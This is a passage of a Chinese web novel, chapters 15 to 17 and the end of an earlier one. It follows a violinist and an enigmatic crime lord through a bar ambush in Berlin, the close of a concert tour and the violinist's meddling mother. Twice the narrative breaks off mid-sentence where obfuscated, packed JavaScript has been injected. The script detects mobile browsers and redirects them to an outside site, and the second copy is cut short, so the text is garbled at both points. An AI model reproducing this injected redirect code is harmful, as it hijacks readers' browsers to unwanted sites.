灯光昏暗,靠蜡烛照明,人脸上的明暗显得浓墨重彩,五官立体的人吃尽了好。裴枝和低着头,碎发垂落,半张脸都隐在了暗中,唯独一个上翘的鼻尖、一张微抿的唇曝露在烛光焰火中,唇上光泽闪烁,显得尤为丰润好咬。 周阎浮多看了数眼,在众多势力和警方前都完美藏匿的隐身术失效了,被他深深欣赏着的人,像是被某种直觉召唤,笔直地抬起了眼,转过脸来。 那张被阴影私藏的漂亮脸孔,被周阎浮的目光攫取。 他冲裴枝和勾了下唇,转身离开,柔软的羊绒大衣被从椅背摘下,他走路带风,穿过酒吧人影重重。 裴枝和色变,未及反应,本能地跟上去。 马提尼特调被端上了桌,漂亮的透明色酒体,杯口别具心裁地抹上了一层薄薄的椒盐与辣椒,然而点他的人已追随另一个人的背影而去。 特调名字叫:【危险信号】 一直追到跟前,“周阎浮?”裴枝和一把拉住他胳膊。 对方回首,低睫,黑框眼镜里的目光温柔而抱歉,接着说了句日语:“抱歉,你认错人了。” 裴枝和愣了一下。这人……穿着带兜帽的卫衣,休闲、高大、年轻,还有浓郁的书卷气和挥之不去的高智感,像个留学生。但不可能的,这副面孔…… 哪怕是米开朗琪罗,也就只捏出了一个大卫。 “你是周阎浮。”裴枝和坚持,带一丝愠怒,“别搞鬼,我认得出你。” 被他拉住了胳膊的男人顺势低下头来,凑到他耳边,颗粒感很强的低沉嗓音徐徐地说:“也许是,也许不是,除非你回答正确,是怎么认出我的。” 裴枝和的喉结上下滚了滚。极细微的吞咽声,被周阎浮训练有素的听力捕捉到。 “香水。”他掐在周阎浮胳膊上的手不自觉用力,自暴自弃也有点难以启齿地再度说了一遍:“是你的香水味。” 周阎浮安静了片刻,在两首音乐接替的空档,那短暂的一秒寂静中,附他耳说:“Good boy.” 裴枝和至此恍然悟了——他是被他专门引诱而来。 这里是酒吧最不引人注意的一角,再转过去就是男士洗手间,一边是玻璃墙,漆黑的夜空铺在玻璃上当绒布底,酒吧的烛火摇曳在上面,浅浅倒映出两道相对而就要挨上彼此的剪影。 裴枝和松开手,反被周阎浮一把扣住。 他没他那么客气、生分,手心就那样有力地盖在他的手臂上,用力。 “你知不知道随便说出我名字,是会带来危险的。”周阎浮低声,姿势一点没变,稍近一步就能亲上他耳廓。 裴枝和心想我真是没事找事。我找他干嘛?我又跟他不熟。 “我认错人了,私密马赛,让我走。”除了那句做作的“私密马赛”,首位两句都是咬着牙恶狠狠。 周阎浮眸光一闪,不松手,反而用力将他一拉,戴着手套的那只手则毫不客气地扣在了裴枝和的腰上—— “你把坏蛋引来了,枝和小姐。”他眯了眯眼,低声,“现在,你决定救不救我。” 15.第 15 章 “别回头,跟着我。” 男士洗手间的门被顶开了,裴枝和被周阎浮按着腰,闪身入内。 他腰臀比很漂亮,手贴在腰上时,天然感受到那条自腰至臀的起伏曲线,像有吸力一般,周阎浮需要调动自制力才能让自己别那么顺手地往下托一把,把他托起来——这毕竟是他最喜欢的姿势。 “你别想骗我,这里可是公共场合。”裴枝和将信将疑。 周阎浮撇了他一眼,从腰后拔出枪,咔嚓一声上膛:“那你紧张什么?” 裴枝和连呼吸都快没了。怎么又是这玩意儿! “听着,正因为这里是公共场合,所以对方动作有限,而且我很值钱,赏金只买活的。你把这个拿好。”周阎浮说着递过来一个黑色塑料外壳的东西。 “这什么?” “掌心电击器。” “什么?”裴枝和不敢相信,“你给自己用枪,就给我用这?” 世上竟有不公如斯!他的命就不是命吗! 生死关头,周阎浮居然轻笑了一声:“你没经过专业的枪械训练,不到万分之一不可能把枪交给你。这是短脉冲高压放电,贴上对方皮肤就行。” 裴枝和吞咽一声:“然后呢?” 然后?周阎浮两指并拢,做了个专业的作战手势,自己则迅敏如猎豹,持枪贴墙,呼吸压至最轻。 裴枝和内心崩溃,不是!这手势什么意思?我特么看不懂啊! 然而不等他问,周阎浮便是脸色一凝:“来了。” 门被推开,进来一个斯拉夫长相的彪形大汉,跟裴枝和面对面撞了个正着。 显然双方都没做好这个碰面准备,裴枝和心脏都快跳出来了,一脸懵逼地望着对方,斯拉夫人也懵,怎么是个毫无战斗力的漂亮小鬼?危险在身后!他汗毛竖起,转身拔枪,出手迅疾闪电,但还没来得及扣下扳机,就有一道狠戾腿影横劈而来! 枪支脱手,撞击墙面“铛”地一声飞了出去,未等他看清袭击者,右臂又是被顺势一抓一拧。下一秒,一个漂亮得教科书级别的反剪。 “咔嚓——!” 骨头脱臼的声音在窄小空间里炸开,惨叫声随之撕裂空气。 外头DJ乐重低音鼓噪,掩盖这里的激烈交锋。 零点零一秒的空档,周阎浮又是狠狠一个关节技卸去对方另一条手臂,戴有黑色手套的左手伸出:“给我!” 裴枝和猛地反应,递出电击器,但周阎浮没接,而是握着他的手,以不容抗拒的力道将他拉往身前。 电极贴上壮汉的侧颈——嘶的一声,庞大如山的男人,体内像是经历了一场十级地震。只见他肌肉痉挛,四肢抽搐,牙关发颤两眼上翻,继而双膝一软,整个人重重跪下,随着周阎浮手的松开,像一袋水泥一般轰然倒地! 裴枝和心跳如鼓,肾上腺素直冲脑门,让他口干舌燥,太阳穴嗡嗡的发懵。他杀人了!不对不对……裴枝和死死捏着电击器,涣散的瞳孔随着心脏归位渐渐清醒过来。 没死。只是昏过去了。 ……好热。 不是运动出汗,也不是紧张,而是他整个人正被周阎浮从背后圈抱在怀里,严严实实,一臂拦腰,脊背贴胸膛,心脏的跳动几乎共振。 奇怪,他这个新手紧张也就算了,他这个看上去总是枪林弹雨来去自如的,心跳原来也这么快么? 两人身上新鲜冒出的热汗与喘息交织,与周阎浮身上的香水味纠缠,酝酿空气,再被彼此急切深重的呼吸吸进肺腑。 外面的乐声和这里好像是两个世界,更衬得此方寂静。裴枝和喉结不敢滚动,怕吞咽被周阎浮听到。 但他却先听到了周阎浮的吞咽声。就在耳畔,清晰、缓慢,似乎有某种克制,也唯这克制更深地暴露出了难耐。 “怕吗?”周阎浮垂下眼,盯着他近在咫尺的耳廓,眸色转暗,声音发哑:“怕得耳朵都这么红了?” 想亲。他知道耳朵是他的敏感处,再往下便是最要命的脖子。含住他喉结,用舌尖拨弄舔.舐,而他会垂头,腰往后折,四肢绵软,像被兽王叼住的猎物。 在不管不顾地亲下去前,周阎浮命令自己放开了他。后面还有追兵,他把人拖进隔间绑好,当机立断道:“走。” 他牵住裴枝和的动作无比自然。 裴枝和两手僵硬十指冰凉,但掌心却是一片汗湿。被吓的。周阎浮顿了顿,什么话都没说,但先是用力抿了抿他冰凉的指尖,继而拇指贴进他手心,动作舒缓地揉了揉。他的掌心、指腹、指侧都有茧,不知道摸过多少枪械?抑或是……多少女人丝滑的大腿和皮肤? 裴枝和咬了舌尖一下,驱散这些诡异的画面,抽了抽手。没抽动。周阎浮变本加厉,把牵着的他的手放进了自己大衣口袋。 “后面还有同伙,跟紧我。”他沉声,面无表情,但将手加倍紧了紧。 裴枝和点点头,心率居高不下。想,幸好没戴智能手表,否则现在一定会响警报。 从酒吧到电梯厅的几步路,周阎浮走得心头躁动,想喝冰水,或者干脆把他就地按倒、狠狠贯穿。上辈子所有的记忆都翩跹而至,既有与他肌肤相贴耳鬓厮磨的清晨,也有与他从窗前到床头爽到浑然忘我的深夜。 出了酒吧,躁动暂时被警惕压下,周阎浮按下电梯做伪装,接着推开一旁应急通道的门,走楼梯。 真是吓到了,裴枝和什么意见也没有,完全顺着他安排。 也不知道艾丽有没有起夜,有没有发现他不见了…… 艾丽有。艾丽正在崩溃拨电话。 手机在兜里震动,裴枝和滑开接听:“喂?” “你去哪了!”艾丽求爷爷告奶奶,“大半夜不打招呼就消失!” “说来话长,”裴枝和长话短说:“还活着,手脚俱全。” 艾丽:“?” 不要简短到这么惊悚! “总之你先睡。” “等等,你还回来吗?” 鬼使神差地,裴枝和看向了周阎浮,仿佛在征求他意见。周阎浮抬腕看表,指令明确:“告诉她,你二十分钟后回去。” 艾丽:“???” 男的? ——嘟。 在她问出什么让人恼火的问题前,裴枝和把电话挂了。 又匆匆地下了两层楼,出了楼道,周阎浮从口袋里掏出一叠房卡,抽出其中一张,刷开锁。 这显然是个行政套房,面积比裴枝和的房间要大许多。周阎浮却没有让他继续往里的打算:“听着,”他抬手按下“免打扰”,语速里有了分秒必争的紧迫感:“你的经纪人选错了酒店,这里不太平,是几个情报组织接头的地方,明天就换一家住。” “你就没有什么要解释的吗?”裴枝和迫不及待地问。 周阎浮拉开他身后一个抽屉,掏出一盒烟来:“什么?” “为什么来柏林?怎么来的?为什么不和我一起?奥利弗呢?!” 一连四个问题,倒把周阎浮问得怔了一怔。他略略失笑,将烟送进嘴里,低头凑向火苗,略静了静,问:“我可以当作你在关心我吗?” 裴枝和被他问住了。 周阎浮只回答了第二个问题:“是今天出事的那趟。” 裴枝和心里的反应比他自己预期的要大。一听他是坐这趟车来的,他心脏咯噔一沉,一股后怕如微风拂树,虽然不强烈,但到底有痕迹。他皱眉,脱口而出:“为什么不跟我一起坐飞机?” 这可是一列差点被□□劫持的车,不是吗! 而他安排的私人飞机,明明可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844087|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮他避险。 “我也没说这架飞机是我给你安排的。”周阎浮似笑非笑,不等裴枝和再问,一种微弱的蜂鸣伴随着震动从周阎浮裤兜里传来。是警报。他神色一敛,将只抽了两口的烟在墙上匆匆捻灭,继而一把拉开门,将裴枝和推出门外:“至于我为什么来柏林——” 他微微停顿。 “你心里知道。” 门在裴枝和眼前毫不留情地关上了,他发愣,好像明白什么,退了一步,继而转身,往电梯厅走去。他到电梯厅时,刚好有一部电梯停稳,门开,两个明显斯拉夫人轮廓的男人,身穿深灰西服,耳朵别着通讯器,面无表情而脚步毫不迟疑地往裴枝和来时的方向走去,一边走,一边将手伸向西装下的后腰。 裴枝和捏紧了双拳,与这两人擦肩而过,没有停留,没有眨眼,也没有呼吸。 梯门在他面前缓缓合上,带着他极速离开这个危险的楼层。 裴枝和心里忽然掠过念头。周阎浮,不会就这么死了吧? 一直没再睡下的艾丽,终于等到了他,一叠声地问:“你刚刚跟谁在一起?不对,你脸怎么这么白?手也这么冰?!” 裴枝和闭了闭眼,说话声有些抖:“艾丽,我耳朵坏了。” “哈?”艾丽大惊失色。 “我好像听到枪响了。”裴枝和蹙紧眉心,薄薄的眼皮颤抖,“我耳朵里,一直有枪声。” 裴枝和的怪病一直到演出当天还没好。说来也怪,没恢复好的耳压会影响音准,但耳朵里的枪响声,看样子却丝毫没影响,毕竟他排练时给出的水准还是天衣无缝,除了不拉琴时,他看上去有些心神不宁。 转眼到了演出日。 有了前车之鉴,艾丽和艺术总监都心有余悸,开演前和各方三令五申强调,枝和留的位子绝对不能动,就算总理来了也不能动! 后台休息室内,裴枝和正在冥想。他咬牙专注,头脑中搏斗,额头沁出薄汗,却收效甚微。明明上次在拉文内尔家死里逃生,他都还能够静下心来,今天却极其怕幕布拉开。既怕座位有人,又怕空空如也。 “路易先生!”艾丽的声音隔着门传来。 裴枝和一口气骤然泄了,指尖一抖,风一般地起身离席。 艾丽惊喜地望着周阎浮,又看向他身边的男人。秘书长?居然是阿伯瑞斯基金会的秘书长! “抱歉,演出马上开始,枝和在做冥想。”艾丽吞咽一口,逼自己在这权势滔天的男人面前守住这道门。 猛地一声,门自己开了。 “哎?——” 艾丽扭过头去,目瞪口呆地看着裴枝和:“你怎么出来了?” 是迫不及待想来见秘书长吗?他看上去,确实有一股迫不及待的味道。 然而门口已没人,仅余两道背影消失在走廊末端,多出来的,是放在休息室门口的一个硕大花篮。太盛大,朵朵玫瑰碗口大,冰川蓝,非染色,是人工培育出的昂贵品种。 裴枝和捏紧拳头,平静了脸色,像是被打扰到了地问:“没什么,只是觉得很吵……刚刚是谁?” 艾丽给他递上一张贺卡:“是路易先生来了。” 纤长两指一格,裴枝和展开卡片,上面一行漂亮的手写法文:“名琴赠君,首排恭候,死生不爽。” 这个混蛋!裴枝和猛地捏紧了卡片,雪白的脸上染上薄红。 活下来了。 …… 灯光熄灭,演出厅俱寂,裴枝和登台,鞠躬,眼睫轻颤如蝶翼。 周阎浮身披西装,坐在裴枝和自留那一个位置的旁边一席,暗纹华贵无匹的缎面领带上,装饰了一枚银色十字架领带夹。戴着黑色手套的左手,与白皙而指节修长的右手十指交搭,目光与裴枝和对上,气定神闲,又如——步步侵袭。 16.第 16 章 柏林的演出大获成功。 演出结束后的答谢晚会上,乐评人盛赞,这对于以严苛闻名的德奥系音乐人来说堪称罕见。记者追着裴枝和问,恩师埃夫根尼一直没出席他这次复出独奏,他会否失落?是否两人真如外界传闻那样已经决裂?裴枝和差点发脾气,还是艾丽玲珑手段给周旋了过去。 答谢宴还没结束,身为主角的裴枝和便套上了大衣匆匆离去。 他饿。 虽然宴会上有酒有点心,甜品桌长得望不到头,但面对着这些饕餮一样的记者,他没胃口。 周阎浮并未现身他的宴会,演出结束时也没像之前那样讨人厌地不请自来。裴枝和在后台合影了一轮又一轮,直到艾丽都觉得今天的时间有点太长了。艾丽也是望眼欲穿,等着基金会秘书长席勒先生。后来,是席勒单独现身。 裴枝和对他态度不冷不热,好在有艾丽顶着。送客前,艾丽多嘴问了一句:“怎么不见路易先生?巴黎首演,路易先生专程来了后台。” 席勒:“路易先生还有别的事,就先走了,托我转达。” 裴枝和一杯水拿着,快要喝到见底。听到他这么说,终于放下杯子不喝了。 呵呵,答谢宴上所有人加起来都不如周阎浮一个人讨厌。 裴枝和出了酒店,打上一辆出租车。司机问目的地,他后座的客人磨蹭了一会儿,说出另一个酒店名字。 柏林没意思,他没什么想去的,思来想去,觉得上次rooftop吧里的马提尼没喝上可惜,心里惦记。虽然周阎浮说那里是什么情报站,但这些离普通人太远了。 车上暖气熏得人昏昏欲睡,加上低血糖,裴枝和干脆打盹打了一路。二十分钟后抵达门口环岛,他裹紧大衣下车,穿过前厅前往电梯厅。 富丽堂皇极具上个世纪风格的大堂里,菱格图案的大理石倒映着顶上的水晶灯吊塔,晃得人眼花。远离门口的一片休息区,几个衣着华丽的男女站在那寒暄,当中一个女人银鬓高髻,身裹皮草,身段十分惹眼。裴枝和忍不住多瞥了一眼,愣住——是埃莉诺夫人。 再看向她身边的男人……因为背对着,裴枝和一开始没留意,此刻一端量,身高,体格,发型,气场,都是那股烦人劲儿。 裴枝和停住了脚步,远远地看着他们寒暄。上次在这里,周阎浮遭遇的是暗杀、追杀、争分夺秒,这次在这里,龙潭虎穴仍未变,但他礼服着身,游刃有余,一派高贵。 埃莉诺夫人不远千里赶来,原来是来给他撑腰镇场子的。 也难怪他在演出前后这样匆匆来去了,有真正要紧的要伺候。平心而论,两人年龄差是大,但从贵妇的角度来说,情人当然得找够年轻的。何况埃莉诺的外形跟她实际年纪相去甚远,仅从背影看,裴枝和也能鼓鼓掌,说出一句“般配”。 裴枝和一时忘了自己是来干嘛的,肚子也不饿了,血糖也不低了,眨了眨眼,转身出门。 折腾一趟,回房一躺,奄奄一息。艾丽结束了晚会回来,大惊失色,忙塞了两粒巧克力进他手心。 裴枝和尝了一口,冷着脸说:“我要酒心的。” 艾丽:“……” 巡演下一站是古典乐重镇维也纳,不少指挥、艺术总监会来聆听观摩,裴枝和不得不吊起十二万分的精神,将周阎浮这个恬不知耻的男宠从脑中驱逐出去。幸运的是,之后几场演出,周阎浮也确实没现身。 巴黎安全屋。 染血绷带在地上拆出一圈又一圈,碘伏和消毒水的味道溢满了房间。伤势虽然已止住,可伤口还远未到开始愈合的阶段,做起清理和消毒的疼痛非常人能忍,但眼前的男人依然没打止痛。 医护忙碌有序,奥利弗也是沉默不语。 俄罗斯寡头是全世界著名的肯爆金币,雇佣的又都是专业武装或克格勃退役特工,应对起来很棘手。这几晚的柏林对他来说堪比重回冷战时期,各种真假情报满天飞,幸运的是,周阎浮似乎发展出了另一个情报源,居然将对方的布局摸排了个透。饶是如此,重重杀机下他还是负了伤,虽不致命,但接下来要去海湾谈判,局势要求他必须呈现出一个天衣无缝的状态。 也就是因为这个原因,两天前,负伤的周阎浮执意出席了那个音乐家的独奏会,还出现在了第一排这么惹眼的位置,后来又携埃莉诺夫人出席了某国政要的晚会。 他是用这种方式告诉各路人马,他利索得很。 一旁大屏上,交易日的走势浮动时时变更,趋势一目了然。 不怪那些人都想要“Arco”,仅仅柏林的这一单交易,就让周阎浮收割了十亿美金。 周阎浮资金运转系统绝对周密而行之有效。表面上,他拥有世界顶级的艺术基金会,领域横跨音乐、美术、建筑、古董收藏及当代艺术,这保证了他有足够的引擎来洗白钱。其次,他广泛投资港口、航运、空中物流、奢侈品,仅在欧洲两个重要港口的油轮准入协议,就够他在整个上流社会通行无阻奉为座上宾;最后,海湾王室,俄罗斯寡头,都是周阎浮的合作对象,通过合资成立金融公司,完全合法地操作期货市场。 这些漂亮的身份和白得不能再白的生意,让长期追踪他的各国情报组织、风控组织恨得牙痒痒却又无可奈何。 人人都知道这男人权势滔天,但百分之九十九都是盲目畏惧或崇拜,唯有少数几个坐于牌桌上的人知道,他的能量不在于贵族身份,也不在于金山银山,而在于实实在在的分配权。他的身份和生意,足够他直接会面任何中小国的一号人物并进行谈判,而东欧、海湾、非洲错综复杂的政治形势、暗流涌动的贸易交锋、势大根深的地方势力,都极其需要他的渠道、他的手腕。 他是法国上流社会凭空冒出来、来历不明的贵族,也是地下——无人质疑的国王。 传闻周阎浮有一套海上石油浮动转运平台,而控制这个平台严密的进出港、货量、买卖方、卫星、航运路线、情报的系统,就叫——Arco。 Arco一起,弦乐齐鸣。而控制弓奏节奏之人,就是那作曲家,五线谱上唯一的主宰者。 “要不要再保险点,去开罗?”奥利弗沉吟着问。长期的昼夜颠倒盯梢让他看上去有些疲惫。 汗珠从额头滴落,脖子因咬牙忍痛而硬筋迭起,但除此之外,周阎浮的神色堪称淡然。“不用。”他闭着眼:“这里暂时是安全的。” 暂时。 奥利弗捕捉到了这个具备时态性的词。这说明周阎浮至少已经掌握了对未来一段时间状况的预判。 “我说,”他难得正色,斟酌了一番:“你设了两套情报组织,是不信任我?” 这一问挑战雇主权威,甚至可能给自己带来杀身之祸,但奥利弗不在乎。他的佣金是两万美金,每天。作为首席情报官和安保队长,他的首要任务是保证雇主存活,其次健全。他见过玩那套双管齐下互相掣肘的老板,说实话兄弟,死很惨。 “我没有第二套情报组织。”周阎浮掀眼,暗绿的眸中一派平静,“做好你的份内事。” “那你是怎么知道——” “奥利弗,身为手下,如果你老板知道的等于你知道的,你不会觉得很没底吗?” 奥利弗想了下,我去,还真是! 欣然重建了信任。 “那既然如此,这篇报道也一定不用我交给你看了?”奥利弗咬着烟,一脸戏谑。 “有屁就放。” 周阎浮接过奥利弗递过来的手机,一时连医生绷带稍微缠得紧了些也没在意。这上面写裴枝和排场大,小小欧洲内巡演居然还包了私人飞机,视碳排放指标为无物,接着又将此事和之前的豪门私生子传闻连在一起。总之,有的没的乱写了一通,音乐方面是一字没提。 “要删吗?”奥利弗问。他手底下有专门的网络中心,负责清除一些不友好言论,裴枝和是最近新加进去的观察对象。 “不必。”周阎浮一脸的平静无澜:“别保护太好,要历练。” 奥利弗挠挠头。就尼玛爹。 苏慧珍也被这则邪门报道惊动了。 平心而论,苏慧珍的度假之旅跟她原本的幻想有不少差距。他们刚在第一家举世闻名的度假村歇下一周,酒店便来要他们结一下迄今为止的房账。 是啦,度假村里有二十三家大小餐厅和酒吧,还有两家让巨星都流连忘返的spa,加之各类名品店、裁缝店,苏慧珍每家都赏光,有的刷卡,有的挂房账,消费之巨让酒店都瞠目结舌。 可怜的伯爵,在此地刷了三张卡才把账给结清,告诉妻子说是银行经理办事不力。 苏慧珍到底不是没见过世面之人,想当年在香港叱咤太太集团,背地里为情夫洗白股票金钱无数,怎么会是个只懂花钱的花瓶?伯爵岌岌可危的财务状况瞒不了她,之所以如此大阵仗度蜜月,乃是她的哲学是输人不输阵,绝不让外人瞧破了底细。 获悉裴枝和搭乘私人飞机巡演,苏慧珍不惜更改行程,在阿姆斯特丹这站前截住了他。 一台庞巴迪停在私人航站楼停机坪,细雨中,苏慧珍脚踩高跟,顶风登了上去,玫红色的风衣后摆翻飞。 裴枝和无奈延误一小时等她,见了人也只是抬了抬眼皮,由得她自行参观。 毫无疑问,这台飞机可比伯爵为她租的那台厉害多了,内饰是顶配,连转角柜都以小羊皮进行钻石绗缝,看上去一派老钱奢华,仿佛根本不考虑磨损折旧。 苏慧珍有了数,等飞行平稳后,她来到厨房,亲自操持中饭以增进母子感情。裴枝和厌恶长肉,吃得很干净,但练琴又需要大量体力,因此营养必须跟上。他不挑嘴,但吃的不是寻常冰箱里会备的食材,得提前说。比如北海道的鱼生,用来做波奇饭,比如黑松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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通话早已接通,周阎浮听着呢。 空姐一脸温柔地笑。 裴枝和:“这台飞机跟周先生有什么关系,周先生亲口否认了是他租的。” 空姐脑门后开始划黑线,腰也酸了。 裴枝和不为难工作人员,接过,放着,没说话。 周阎浮的声音透过听筒公放出来,在卫星通讯的丝丝杂质中,他的声线听上去比平时更低沉:“抱歉,阿姆斯特丹这一站的巡演我得继续缺席了。” 裴枝和双手环胸:“你谁啊?” 艾丽惊恐捧脸,苏慧珍瞪大眼眶,两人脑海略过同一句话:祖宗!!!向上社交我不屑一顾,得罪大佬我手到擒来! 周阎浮听上去似乎哼笑了一息,无奈地、规规矩矩地报上了名:“周阎浮,或者,路易·拉文内尔。” “不是说这台飞机和你没关系吗?” “我说的是,这台飞机和上杉彻没关系。”周阎浮慢条斯理地纠正:“上杉彻还在攻读博士,暂时支持不了你这么大的开销。但我可以。” 他的声线就够暧昧,沉着声说这些,更是惹人遐思。裴枝和耳廓绯红,在他这张混嘴说出什么更奇怪的话前,果断拿起来切掉了免提。 听筒里传来几声咳嗽。 裴枝和充耳不闻。 苏慧珍耳尖,关切地问:“周先生感冒了?” 裴枝和一个背身,并把话筒换到另一边,离苏慧珍远一点。 周阎浮听出了苏慧珍的声音,笑了笑:“令堂登机后还满意?听说她的蜜月不太顺利,伯爵一个人留在湖区,守着相当一笔没结的债务。” 他说完,又咳嗽了几声,听着有些严重。 裴枝和还是充耳不闻,说:“周先生消息这么灵通,真是可怕。” “我已经派人去接他了,顺便结清他的赊账。”周阎浮说了声“稍等”,将话筒轻轻撂下,抠开铝膜,用水送服了两粒药。外伤加上风寒感冒,每一声咳嗽都牵动伤口,饶是他也忍得浑身冷汗。 然而裴枝和还是一丁点好奇心都没起,对他发出的任何动静都不为所动。 周阎浮勾了勾唇,嗓子还是痒,但这次却极力忍住了,将手掌贴向伤口所在的腰侧,屏息,竭力听着淡然道:“这台飞机是我名下托管的,你放心用。我还有事,再会。” 一撂电话,他咳了个天翻地覆,血渗出绷带。 其实确实没什么必要打这通电话,只不过忍来忍去,想问问他是否已习惯了会在前排看到他。这两次没见,是否有过一丝疑问,或……不习惯。细如蛛丝的一丝也行。 原来他还是操之过急。 17.第 17 章 挂了电话,苏慧珍迫不及待:“我就说是他!你看看,人家咳嗽这么厉害,你连关心一句都不肯!” “咳嗽而已,又不会死。”比较起来,裴枝和更关心另一件事:“伯爵为什么没有跟着上飞机?” 苏慧珍心虚,掉下视线:“他毕竟年纪大了,又有哮喘,留在那边对他好。” 裴枝和骤然严厉起来:“你搞不搞得清状况!你要是真想和他好好过日子,就停止挥霍精打细算,要是只图名利,就立刻离婚!他除了头衔什么也没有!” 他从没这么严厉地和谁说过话,艾丽被吓得一抖,摸不清里面这些门道。 鉴于艾丽在场,苏慧珍居然软下了身段:“哪有挥霍,买点纪念品而已,你不高兴我就少买了。好了好了,别这么严肃。” 裴枝和走向机舱中段图清净,深呼吸了几个来回,总算平稳下来。苏慧珍摸透了他,推门进来的时机刚刚好。 “他生病了,你要关心的,不管怎么说,他是债主,又对你这么好。” “人家是有钱人,不缺人关心。” “这话!”苏慧珍挨着他坐下,“你没见过有钱人?你自己就是有钱人。有钱,不一定有人关心啊。人世间情意最重了。不许你灭自己威风。” 裴枝和被她叨得心烦意乱,答应回到巴黎后联系周阎浮,倘若他还病着那就再说。 他心里想的是那天在桑拿室看到的周阎浮的身体。不能细想,描摹出一张草图就赶快晃晃脑袋。开什么玩笑,他那种身体怎么可能久病不愈!等他回到巴黎,周阎浮肯定已一顿能吃三碗饭。 一周后,庞巴迪经阿姆斯特丹飞回巴黎,代表着裴枝和的独奏巡演圆满完成。 已经十月了,巴黎最后的热意已被一场冷雨浇灭,街上秋风萧瑟,到处是裹着披肩和风衣的人。 苏慧珍紧留着心眼,一定要陪他打这一通电话。裴枝和只好当着她的面,拨给了飞机上来电的那个号。怕泄露自己号码,他特意找了个电话亭。 对面一口法语好听至极:“哪位。” 裴枝和听出他声线,略哑,心里咯噔一声。 不情不愿地开口:“是我。想问你,……感冒好了吗?” 感冒吗?周阎浮无奈地看了眼伤口,用一连串厉害的咳嗽回答他。其实吃了止咳药后他已大好,这几声愣是把自己又咳疼了。 “抱歉。”周阎浮又略咳了几声,手抵唇:“如你所见。” 下注失败,裴枝和想一头撞死在电话亭里。 “有什么正事?”周阎浮耐心极佳,不动声色。 裴枝和还在磨牙如磨刀,苏慧珍已经踮脚放声:“哎周生!是我啊!听说你生病了?”她硬挤到了话筒边,声音软和:“枝和想来看你,我说你这样的大人物不方便的了,但这孩子惦记你……” 啪的一声,裴枝和干脆果决地挂了机,脸色苍白而眼神仇视地看着苏慧珍。 他平生最恨、最恨她拉着他一起谄媚。 苏慧珍竟也没和他吵,只是回应他的视线,面色平静,不见刚刚那种巧言令色。 电话声铃铃地响在母子两个对峙的视线中。 路人匆匆,于寒风中侧目而视,大约是嫌电话吵。 裴枝和闭了闭眼,将话筒揭了起来。还没想好说什么,对面已体面地把话垫好:“就这么不情愿?” 大约是病中缘故,他声音温沉,没有了那种权力感。 裴枝和不知道怎么眼眶泛酸泛红,大约是跟妈妈吵完架的小孩都这样,一被外人瞧见委屈了,就会加倍。 他“嗯”了一声,略带鼻音。 周阎浮也安静了会儿,说:“那就不要来了,一点小感冒而已。” 手指忽然蜷了蜷,想找烟抽。 眼前浮过好光景,他身受重伤,半个腹部被鲜血浸染,这会儿电话里听着很冷淡的人吓得拼命掉眼泪。他玩笑:“小姐,你眼泪掉得我伤口很疼。” “要疼死了。” ——这句是做的时候说的。北非安全屋被端了,临时逃难的军用吉普车后车厢,颠簸起来的尘土随着尾气漫漶入敞篷车厢,他压着他,伤口随着激烈的动作而崩开,边喘息着笑,边这么说,目光却发狠,缠着绷带的手掐紧了裴枝和的下颌,激吻间有浓烈的血腥气钻进鼻腔。 所有可以当软垫的东西都在裴枝和身下。不敢伤到他一点细皮嫩肉。 周阎浮笑了笑,将那只很想找烟抽的手用力地压平在桌上。 大理石桌面冰冰凉的。他的精神科医师告诉他,这样有助于他收回思绪,回到当下。 “我来。”裴枝和咬咬牙,说完后倒也觉得如释重负了:“给我地址。” 周阎浮给了他一个酒店名字。 巴黎的奢华酒店比比皆是,除非主办方安排,裴枝和一般不会去消费,故而不怎么了解。倒是苏慧珍见多识广:“这是俱乐部酒店,得要有会籍才能住的。” 裴枝和兴致缺缺:“也不稀奇。” 巡演太累人,他回公寓睡了个昏天暗地,要不是苏慧珍摇醒他,他能再睡两个白天。 裴枝和有起床气,都是小时候被那个劳什子的曲艺大师折磨出来的,天不亮就拎他开嗓。苏慧珍躲开他丢来的枕头:“还睡!再睡下去人家都要痊愈了!” 空气中飘着一股浓郁的香味。 裴枝和吸吸鼻子:“什么?” “蟹黄翅。”苏慧珍自得地说,埋怨起来:“好久没做了,你知道多费功夫?三煲二煨,十来个小时的功夫!巴黎找不到黄油蟹,还是我让人空运过来的,这个群翅,极品!我自己都不舍得尝一回。” 有说这话的功夫裴枝和早已下床了,饥肠辘辘地飘进厨房,伸手揭盖时心想,到底亲情不作假。 苏慧珍打掉他的手:“小心烫!” 裴枝和这才发现一旁有个崭新瓦亮的保温杯。苏慧珍亲自起锅,将这一锅极品蟹黄翅摆了盘——用的是她最爱的一套哥本哈根珍藏古董盘,继而小心翼翼地装进那个保温桶中,分两层。 裴枝和脸色已凉。 苏慧珍果然道:“洗洗脸刷刷牙,车帮你叫好了。” 裴枝和淡问:“那个煲里是什么?” “海参。”苏慧珍如数家珍:“要用猪肉、火腿、乌鸡和猪骨熬汤,汤熬好了再煨,煨好了再回汤收汁。功夫菜,你上今天香港最好的酒楼也未必有我这两下子。” 裴枝和没忍住翻了个白眼:“喷鼻血喷不死他。” 苏慧珍一脸的“童言无忌天官莫怪”,“你以为人家跟你一样虚?一看就知道受女人喜欢。好了!赶快的,时间我都算得刚刚好。” 直到莲蓬头热水冲下来,裴枝和都还没想明白,探望病人为什么要洗澡…… 出门前他都还在跟苏慧珍抗争,试图说服她周阎浮这种人不缺这一口,但苏慧珍有她的经验:“越是有钱人,越想吃口家常的。” 裴枝和坐到专车上,左海参又鱼翅,心想这也不家常啊…… 